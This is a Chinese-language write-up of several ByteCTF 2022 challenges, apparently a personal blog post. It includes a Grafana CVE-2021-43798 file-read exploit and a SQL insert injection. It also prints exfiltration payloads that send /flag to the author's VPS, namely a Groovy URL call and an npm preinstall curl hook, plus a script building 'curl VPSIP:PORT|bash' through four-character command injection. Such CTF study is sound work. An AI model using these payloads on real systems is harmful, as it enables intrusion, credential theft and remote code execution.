引言
2022 Byte Capture The Flag / ByteCTF
安全范儿高校挑战赛
比赛时间:9月24日10:00—9月25日18:00
上周末字节跳动办了个 ByteCTF,今年没有线下决赛,只有线上这一场比赛了。
那周末在集中健康监测,喵喵正好有点时间,就来打了打这比赛。
不过感觉可能队里师傅不一定有空,貌似看题的师傅不大多,唔。
喵喵太菜,这里只能来随便记录点简单题的 writeup 了。
Misc
signin
由于喵喵报名晚了,队友早就报完了,于是咱就自己组了个队来混签到抽奖了,喵呜喵呜喵~
直接来到 /final
,抓包,team_id 在团队页面有个请求里返回了 id
然而并没有抽到奖,呜呜
easy_groovy
过滤了一些关键词,包括 exec execute run start invoke …
折腾了老半天,最后寻思着没必要 RCE 啊,整个外带就好了
只需要调 groovy 语言自带的函数,先读 /flag
文件,然后开个 HTTP 请求传出来,自己 vps 接一下 flag 就完事了
payload:
File flag = new File("/flag").text
def res1 = new URL("http://vpsip:port/${flag}").text
See also:
(看了官方 wp 才知道是非预期了,原来预期得构造恶意文件,然后远程下载文件到本地并触发 RCE。。
好复杂.jpg
find_it
小明的开发电脑被黑客入侵了,并加密了上面的秘密文件,find it。
是个 .scap 系统抓包文件(?
参考 Premium Lab: HIDS Log Analysis — Sysdig: Malware I
发现传了个一句话木马,蚁剑连上去的流量,输入了串 openssl 命令到 bash 脚本,然后执行
openssl enc -aes-128-ecb -in nothing.png -a -e -pass pass:"KFC Crazy Thursday V me 50" -nosalt;
输出的内容在文件里可以拿到
于是导出来到文件 1.txt,拿 openssl 解密一下
openssl enc -aes-128-ecb -in 1.txt -a -d -pass pass:"KFC Crazy Thursday V me 50" -nosalt > 2.png
得到一张二维码图片,扫码得到第一部分 flag
bytectf{53f8fb16-a25d-4aac-
找了半天没找到第二部分 flag 在哪,最后 strings 发现是在个 php 文件名。。
strings find_it-2e157327-a739-42a9-b857-5a50bdf6e3d9.scap | grep '}'
bytectf{53f8fb16-a25d-4aac-bec5-d7563b2672b6}
其实 scap 抓包文件里也有打开
nothing.png
的 syscall,所以其实也能直接搜 png 文件头然后读出来这个图片哈哈哈BTW,用 mac 的队友说他 openssl 跑不出来,最后改用 kali 就出了,笑死了
官方 writeup 说是 mac和Linux可能openssl版本差异导致默认摘要函数不同
survey
填问卷
ByteCTF{Congratulations_on_your_good_results!}
Web
easy_grafana
You must have seen it, so you can hack it
一看 grafana 就想到经典的 CVE-2021-43798
/public/plugins/text/../../../../../../../../../etc/passwd
参考 Grafana 文件读取漏洞分析与汇总(CVE-2021-43798)
CVE-2021-43798 Grafana任意文件读取复现
需要加个 #
绕过 Nginx 400,读配置文件
GET /public/plugins/text/#/../../../../../../../../../etc/grafana/grafana.ini HTTP/1.1
Host: e01195c95f7b49d209b62dcc8984bd4d.2022.capturetheflag.fun
Cookie: redirect_to=%2F
Cache-Control: max-age=0
Sec-Ch-Ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
得到 secret_key,然后再去读数据库 grafana.db
secret_key = SW2YcwTIb9zpO1hoPsMm
GET /public/plugins/text/#/../../../../../../../../../var/lib/grafana/grafana.db
然后再找个脚本解密一下
https://github.com/pedrohavay/exploit-grafana-CVE-2021-43798
GitHub - jas502n/Grafana-CVE-2021-43798: Grafana Unauthorized arbitrary file reading vulnerability
从数据库里拿到密码,然后用这个脚本去解密
SELECT secure_json_data FROM data_source;
{"password":"b0NXeVJoSXKPoSYIWt8i/GfPreRT03fO6gbMhzkPefodqe1nvGpdSROTvfHK1I3kzZy9SQnuVy9c3lVkvbyJcqRwNT6/"}
改一下最后这里
# go get golang.org/x/crypto/pbkdf2
# go run AESDecrypt.go
[*] grafanaIni_secretKey= SW2YcwTIb9zpO1hoPsMm
[*] DataSourcePassword= b0NXeVJoSXKPoSYIWt8i/GfPreRT03fO6gbMhzkPefodqe1nvGpdSROTvfHK1I3kzZy9SQnuVy9c3lVkvbyJcqRwNT6/
[*] plainText= ByteCTF{e292f461-285e-47fc-9210-b9cd233773cb}
ctf_cloud
改编自真实漏洞环境。在云计算日益发达的今天,许多云平台依靠其基础架构为用户提供云上开发功能,允许用户构建自己的应用,但这同样存在风险。
给了源码,可疑的地方不多,也就 sql 注入、文件上传、命令执行
/src/routes/users.js
var express = require('express');
var router = express.Router();
var sqlite3 = require('sqlite3').verbose();
var stringRandom = require('string-random');
var db = new sqlite3.Database('db/users.db');
var passwordCheck = require('../utils/user');
/* login */
router.post('/signin', function(req, res, next) {
var username = req.body.username;
var password = req.body.password;
if (username == '' || password == '')
return res.json({"code" : -1 , "message" : "Please input username and password."});
if (!passwordCheck(password))
return res.json({"code" : -1 , "message" : "Password is not valid."});
db.get("SELECT * FROM users WHERE NAME = ? AND PASSWORD = ?", [username, password], function(err, row) {
if (err) {
console.log(err);
return res.json({"code" : -1, "message" : "Error executing SQL query"});
}
if (!row) {
return res.json({"code" : -1 , "msg" : "Username or password is incorrect"});
}
req.session.is_login = 1;
if (row.NAME === "admin" && row.PASSWORD == password && row.ACTIVE == 1) {
req.session.is_admin = 1;
}
return res.json({"code" : 0, "message" : "Login successful"});
});
});
/* register */
router.post('/signup', function(req, res, next) {
var username = req.body.username;
var password = req.body.password;
if (username == '' || password == '')
return res.json({"code" : -1 , "message" : "Please input username and password."});
// check if username exists
db.get("SELECT * FROM users WHERE NAME = ?", [username], function(err, row) {
if (err) {
console.log(err);
return res.json({"code" : -1, "message" : "Error executing SQL query"});
}
if (row) {
console.log(row)
return res.json({"code" : -1 , "message" : "Username already exists"});
} else {
// in case of sql injection , I'll reset admin's password to a new random string every time.
var randomPassword = stringRandom(100);
db.run(`UPDATE users SET PASSWORD = '${randomPassword}' WHERE NAME = 'admin'`, ()=>{});
// insert new user
var sql = `INSERT INTO users (NAME, PASSWORD, ACTIVE) VALUES (?, '${password}', 0)`;
db.run(sql, [username], function(err) {
if (err) {
console.log(err);
return res.json({"code" : -1, "message" : "Error executing SQL query " + sql});
}
return res.json({"code" : 0, "message" : "Sign up successful"});
});
}
});
});
/* logout */
router.get('/logout', function(req, res) {
req.session.is_login = 0;
req.session.is_admin = 0;
res.redirect('/');
});
module.exports = router;
主要是59行这里把用户输入的 password
直接拼接到了 sql 语句中
于是存在 sql 注入,可以通过 Insert 注入覆盖掉 admin 的密码
这里的 sql 还说 VALUES
,于是可以插入多条数据喵
POST /users/signup HTTP/1.1
Host: deb59b960385bf669c5ee5ea65eb312f.2022.capturetheflag.fun
Cookie: __t_id=118324065f8ed1f677107210caf77359; connect.sid=s%3A5CNkjDPjekXWaapndSgpEk3SvGDq3k0t.RlV2YIlmL1VXAvsuCjTb1DA8zdtnFxT7Ij0%2F7AOlmHA
Content-Length: 65
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Content-Type: application/json
Accept: */*
Origin: https://deb59b960385bf669c5ee5ea65eb312f.2022.capturetheflag.fun
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://deb59b960385bf669c5ee5ea65eb312f.2022.capturetheflag.fun/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"username": "miao","password":"',0),('admin','123456',1)-- a"}
然后 admin / 123456 登录
再看 /src/routes/dashboard.js
源码
var express = require('express');
var router = express.Router();
var multer = require('multer');
var path = require('path');
var fs = require('fs');
var cp = require('child_process');
var dependenciesCheck = require('../utils/dashboard');
var upload = multer({dest: '/tmp/'});
var appPath = path.join(__dirname, '../public/app');
var appBackupPath = path.join(__dirname, '../public/app_backup');
/* authentication middleware */
router.use(function(req, res, next) {
if (!req.session.is_login)
return res.json({"code" : -1 , "message" : "Please login first."});
next();
});
/* upload api */
router.post('/upload', upload.any(),function(req, res, next) {
if (!req.files) {
return res.json({"code" : -1 , "message" : "Please upload a file."});
}
var file = req.files[0];
// check file name
if (file.originalname.indexOf('..') !== -1 || file.originalname.indexOf('/') !== -1) {
return res.json({"code" : -1 , "message" : "File name is not valid."});
}
// do upload
var filePath = path.join(appPath, '/public/uploads/', file.originalname);
var fileContent = fs.readFileSync(file.path);
fs.writeFile(filePath, fileContent, function(err) {
if (err) {
return res.json({"code" : -1 , "message" : "Error writing file."});
} else {
res.json({"code" : 0 , "message" : "Upload successful at " + filePath});
}
})
});
/* list upload dir */
router.get('/list', function(req, res, next) {
var files = fs.readdirSync(path.join(appPath, '/public/uploads/'));
res.json({"code" : 0 , "message" : files});
})
/* reset user app */
router.post('/reset', function(req, res, next) {
// reset app folder
cp.exec('rm -rf ' + appPath + '/*', function(err, stdout, stderr) {
if (err) {
console.log(err);
return res.json({"code" : -1 , "message" : "Error resetting app."});
} else {
cp.exec('cp -r ' + appBackupPath + '/* ' + appPath + '/', function(err, stdout, stderr) {
if (err) {
console.log(err);
return res.json({"code" : -1 , "message" : "Error resetting app."});
} else {
return res.json({"code" : 0 , "message" : "Reset successful"});
}
});
}
});
})
/* dependencies get router */
router.get('/dependencies', function(req, res, next) {
res.json({"code" : 0 , "message" : "Please post me your dependencies."});
});
/* set node.js dependencies */
router.post('/dependencies', function(req, res, next) {
var dependencies = req.body.dependencies;
// check dependencies
if (typeof dependencies != 'object' || dependencies === {})
return res.json({"code" : -1 , "message" : "Please input dependencies."});
if (!dependenciesCheck(dependencies))
return res.json({"code" : -1 , "message" : "Dependencies are not valid."});
// write dependencies to package.json
var filePath = path.join(appPath, '/package.json');
var packageJson = {
"name": "userapp",
"version": "0.0.1",
"dependencies": {
}
};
packageJson.dependencies = dependencies;
var fileContent = JSON.stringify(packageJson);
fs.writeFile(filePath, fileContent, function(err) {
if (err) {
return res.json({"code" : -1 , "message" : "Error writing file."});
} else {
return res.json({"code" : 0 , "message" : "Set successful"});
}
});
});
/* run npm install */
router.post('/run', function(req, res, next) {
if (!req.session.is_admin)
return res.json({"code" : -1 , "message" : "Please login as admin."});
cp.exec('cd ' + appPath + ' && npm i --registry=https://registry.npm.taobao.org', function(err, stdout, stderr) {
if (err) {
return res.json({"code" : -1 , "message" : "Error running npm install."});
}
return res.json({"code" : 0 , "message" : "Run npm install successful"});
});
});
/* force kill npm install */
router.post('/kill', function(req, res, next) {
if (!req.session.is_admin)
return res.json({"code" : -1 , "message" : "Please login as admin."});
// kill npm process
cp.exec("ps -ef | grep npm | grep -v grep | awk '{print $2}' | xargs kll -9", function(err, stdout, stderr) {
if (err) {
return res.json({"code" : -1 , "message" : "Error killing npm install."});
}
return res.json({"code" : 0 , "message" : "Kill npm install successful"});
});
}
);
module.exports = router;
可以上传文件,指定依赖,安装依赖
参考 npm 文档,https://docs.npmjs.com/cli/v8/using-npm/scripts
我们可以构造个 preinstall
,让其在安装依赖的流程中执行自己的命令
先构造一个依赖,payload 如下:
{
"name": "miaoapp",
"version": "0.0.1",
"dependencies": {
},
"scripts":{
"preinstall": "curl \"http://vpsip:port/?1=`cat /flag|base64 -w 0`\""
}
}
注意文件名需要是 package.json
手动改下表单上传 payload
改成 <form action="/dashboard/upload" method="post" enctype='multipart/form-data'>
(你们手糊的前端,上传都不改请求 content-type 的是吧哈哈哈哈
{"code":0,"message":"Upload successful at /usr/local/app/public/app/public/uploads/package.json"}
当然也可以 POST flag 文件到自己的 vps,顺便留个 payload 在这
POST /dashboard/upload HTTP/1.1 Host: d2fcf246bc37a9f5fb0e10d0f33f6703.2022.capturetheflag.fun Cookie: __t_id=118324065f8ed1f677107210caf77359; __t_id=118324065f8ed1f677107210caf77359; connect.sid=s%3AxkWm2EDsqin7fbj1TThzWq_8nM7TOoSB.QBVLyXOcPfU1f9Mockad5jEWvbb%2BViA949VWZW9eg%2FU Content-Length: 457 Pragma: no-cache Cache-Control: no-cache Sec-Ch-Ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://d2fcf246bc37a9f5fb0e10d0f33f6703.2022.capturetheflag.fun Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJdqpFuVvACB98QB4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://d2fcf246bc37a9f5fb0e10d0f33f6703.2022.capturetheflag.fun/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close ------WebKitFormBoundaryJdqpFuVvACB98QB4 Content-Disposition: form-data; name="file"; filename="package.json" Content-Type: application/json { "name": "miaoapp", "version": "0.0.1", "dependencies": { }, "scripts":{ "preinstall": "curl -F \"[emailprotected]/flag\" http://vpsip:port/" } } ------WebKitFormBoundaryJdqpFuVvACB98QB4--
要是不出网的话,可以重定向输出到 public 目录下,比如执行下面这样的命令
cat /flag > /usr/local/app/public/flag cp /flag /usr/local/app/public/flag
成功上传,然后指定 dependencies
(这回你们前端直接不糊了是吧
POST /dashboard/dependencies HTTP/1.1
Host: d2fcf246bc37a9f5fb0e10d0f33f6703.2022.capturetheflag.fun
Cookie: __t_id=118324065f8ed1f677107210caf77359; connect.sid=s%3AxkWm2EDsqin7fbj1TThzWq_8nM7TOoSB.QBVLyXOcPfU1f9Mockad5jEWvbb%2BViA949VWZW9eg%2FU
Content-Length: 80
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Content-Type: application/json
Accept: */*
Origin: https://d2fcf246bc37a9f5fb0e10d0f33f6703.2022.capturetheflag.fun
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://d2fcf246bc37a9f5fb0e10d0f33f6703.2022.capturetheflag.fun/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"dependencies":{ "miaoapp":"file:///usr/local/app/public/app/public/uploads/"}}
最后运行安装依赖 run npm install
POST /dashboard/run HTTP/1.1
Host: d2fcf246bc37a9f5fb0e10d0f33f6703.2022.capturetheflag.fun
Cookie: __t_id=118324065f8ed1f677107210caf77359; connect.sid=s%3AxkWm2EDsqin7fbj1TThzWq_8nM7TOoSB.QBVLyXOcPfU1f9Mockad5jEWvbb%2BViA949VWZW9eg%2FU
Content-Length: 0
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Content-Type: application/json
Accept: */*
Origin: https://d2fcf246bc37a9f5fb0e10d0f33f6703.2022.capturetheflag.fun
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://d2fcf246bc37a9f5fb0e10d0f33f6703.2022.capturetheflag.fun/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
vps 上成功接收到 flag
还有一种思路,供应链投毒,整个恶意的依赖传到 GitHub 或者 npm 仓库,在安装的时候执行自己的命令,应该也能打通
指定依赖的时候还可以 git+https 这样
typing_game
我是练习时长两年半的nodejs菜鸟,欢迎来玩我写的小游戏
前端是个听单词打字的游戏
给了后端源码 index.js
var express = require('express');
var child_process = require('child_process');
const ip = require("ip");
const puppeteer = require("puppeteer");
var app = express();
var PORT = process.env.PORT| 13002;
var HOST = process.env.HOST| "127.0.0.1"
const ipsList = new Map();
const now = ()=>Math.floor(Date.now() / 1000);
app.set('view engine', 'ejs');
app.use(express.static('public'))
app.get("/",function(req,res,next){
var {color,name}= req.query
res.render("index",{color:color,name:name})
})
app.get("/status",function(req,res,next){
var cmd= req.query.cmd? req.query.cmd:"ps"
var rip = req.header('X-Real-IP')?req.header('X-Real-IP'):req.ip
console.log(rip)
if (cmd.length > 4 || !ip.isPrivate(rip)) return res.send("hacker!!!")
const result = child_process.spawnSync(cmd,{shell:true});
out = result.stdout.toString();
res.send(out)
})
app.get('/report', async function(req, res){
const url = req.query.url;
var rip = req.header('X-Real-IP')?req.header('X-Real-IP'):req.ip
if(ipsList.has(rip) && ipsList.get(rip)+30 > now()){
return res.send(`Please comeback ${ipsList.get(rip)+30-now()}s later!`);
}
ipsList.set(rip,now());
const browser = await puppeteer.launch({headless: true,executablePath: '/usr/bin/google-chrome',args: ['--no-sandbox', '--disable-gpu','--ignore-certificate-errors','--ignore-certificate-errors-spki-list']});
const page = await browser.newPage();
try{
await page.goto(url,{
timeout: 10000
});
await new Promise(resolve => setTimeout(resolve, 10e3));
} catch(e){}
await page.close();
await browser.close();
res.send("OK");
});
app.get("/ping",function(req,res,next){
res.send("pong")
})
app.listen(PORT,HOST, function(err){
if (err) console.log(err);
console.log(`Server listening on ${HOST}:${PORT}`);
});
四字符命令注入的打法
/status
接口有个4字符的命令注入,/report
接口可以 CSRF/SSRF 打本地
参考以前喵喵写的那篇 CTF | 限制长度下的命令执行 技巧汇总,正好有四字节命令执行的参考 exp
但是这里文件夹不是空的,需要首先执行 rm *
删除目录下的文件
这可能会影响前端的静态文件加载不出来,但后端程序已经加载到内存中了,因此不受影响
然后改一改 exp,这里他有个 30s 的请求频率限制,那就 sleep 等等呗。
# encoding:utf-8
import re
import time
import requests
from urllib.parse import quote
baseurl = "https://xxxxxxxxxx.2022.capturetheflag.fun/report?url=http%3A%2F%2F127%2E0%2E0%2E1%3A13002%2Fstatus%3Fcmd%3D"
s = requests.session()
# 将ls -t 写入文件_
# list1 = [
# ">ls\\",
# "ls>_",
# ">\ \\",
# ">-t\\",
# ">\>y",
# "ls>>_"
# ]
# 文件 x 内容为 ls -th > g
list1 = [
">sl",
">ht-",
">g\>",
">dir",
"*>v",
">rev",
"*v>x"
]
# curl VPSIP:PORT|bash
list2 = [
">bash",
">\|\\",
">11\\",
">11\\",
">1:\\",
">11\\",
">1.\\",
">11\\",
">11.\\",
">11.\\",
">\ \\",
">rl\\",
">cu\\"
]
def send_request(url):
while True:
r = s.get(url)
r.encoding = 'utf-8'
print('==>', r.text)
if 'Please comeback' in r.text:
t = re.search(r"(\d+)s", r.text)[1]
print(t)
time.sleep(int(t) + 0.3)
else:
break
for i in list1:
url = baseurl + quote(str(i))
print("sending", quote(i))
send_request(url)
for j in list2:
url = baseurl + quote(str(j))
print("sending", quote(j))
send_request(url)
print('sh x')
send_request(baseurl + quote("sh x"))
print('sh g')
send_request(baseurl + quote("sh g"))
vps 上开个端口监听,慢慢等他请求发完,然后接收到 shell 后执行 env
,就能在环境变量里找到 flag
(很明显是非预期,居然没把环境变量清除,哈哈哈
XSS 的打法
前端 game.js
const word = document.getElementById('word');
const text = document.getElementById('text');
const scoreEl = document.getElementById('score');
const timeEl = document.getElementById('time');
const endgameEl = document.getElementById('end-game-container');
// List of words for game
const words = [
'web',
'bytedance',
'ctf',
'sing',
'jump',
'rap',
'basketball',
'hello',
'world',
'fighting',
'flag',
'game',
'happy'
].sort(function() {
return .5 - Math.random();
});
let words_l = 0
let randomWord;
let score = 0;
let time = 26;
text.focus();
const timeInterval = setInterval(updateTime, 1000);
function addWordToDOM() {
randomWord = words[words_l];
words_l++
word.setAttribute("src",randomWord+".mp3")
word.innerHTML = randomWord;
}
function updateScore() {
score++;
scoreEl.innerHTML = score;
}
function updateTime() {
time--;
timeEl.innerHTML = time + 's';
if (time === 0 || score >=words.length ) {
clearInterval(timeInterval);
word.parentElement.removeChild(word)
gameOver();
}
}
function gameOver() {
if (score >= words.length) {
const params = new URLSearchParams(window.location.search)
const username = params.get('name');
endgameEl.innerHTML = `
<h1>^_^</h1>
Dear ${username},Congratulations on your success.Your final score is ${score}`;
endgameEl.style.display = 'flex';
} else {
score=0
endgameEl.innerHTML = `
<h1>*_*</h1>
Try again`;
endgameEl.style.display = 'flex';
}
}
addWordToDOM();
// Typing
function typing(insertedText){
if (insertedText === randomWord) {
addWordToDOM();
updateScore();
document.querySelector("#text").value = '';
updateTime();
}
}
text.addEventListener('input', e => {
typing(e.target.value)
});
addEventListener("hashchange",e=>{
typing(location.hash.replace("#","").split("?")[0])
})
gameOver
里修改了 endgameEl.innerHTML
,这里的 username
可以 XSS
但是需要先打完游戏才行,在上面的前端 js 中 addWordToDOM
函数里可以发现把音频设置成了单词名称所对应的,而 CSS 里可以注入 color
来 leak 当前的单词,js 里监听了 hashchange
事件,于是可以通过修改 url 里的 #
后面的部分来实现调用 typing 函数输入。
这里他服务器都上了 https,因此 vps 上打远程的话也要自己整个 ssl 证书,而且跨域设置好,比如 flask
@app.after_request
def after_request(response):
response.headers.add('Access-Control-Allow-Origin', '*')
response.headers.add('Access-Control-Allow-Headers', 'Content-Type,Authorization')
response.headers.add('Access-Control-Allow-Methods', 'GET,PUT,POST,DELETE,OPTIONS')
return response
或者
@app.route('/')
@cross_origin(origins="*")
def index():
return "meow"
然而咱这里没来得及复现,喵呜
可以参考下 W&M 这题的 writeup
他们这里还用到了个延迟加载的 deelay.me 这玩意,可以在 XSS 的时候搭配一张慢加载的图片来卡住页面渲染,同时在此期间让 js 执行一些耗时的操作,不至于页面渲染完成后直接退出
<body>
prevent page recycle
<img src="https://deelay.me/50000/https://picsum.photos/200/300"/>
</body>
Delay proxy for http resources
Slow loading resources (images, scripts, etc) can break your application.
With this proxy you can simulate unexpected network conditions when loading a specific resource.Usage:
https://deelay.me/<delay in milliseconds>/<original url>
eg. https://deelay.me/5000/https://picsum.photos/200/300
小结
ByteCTF 的题目质量还是可以的,可是喵喵好菜啊,呜呜
就先这样吧,最近感觉没那么多时间也没那么大兴致打比赛了,唔
最后,国庆快乐喵~
官方 Writeup 出来了:
https://bytedance.feishu.cn/docx/doxcnWmtkIItrGokckfo1puBtCh
挺详细的,感人
溜了溜了喵(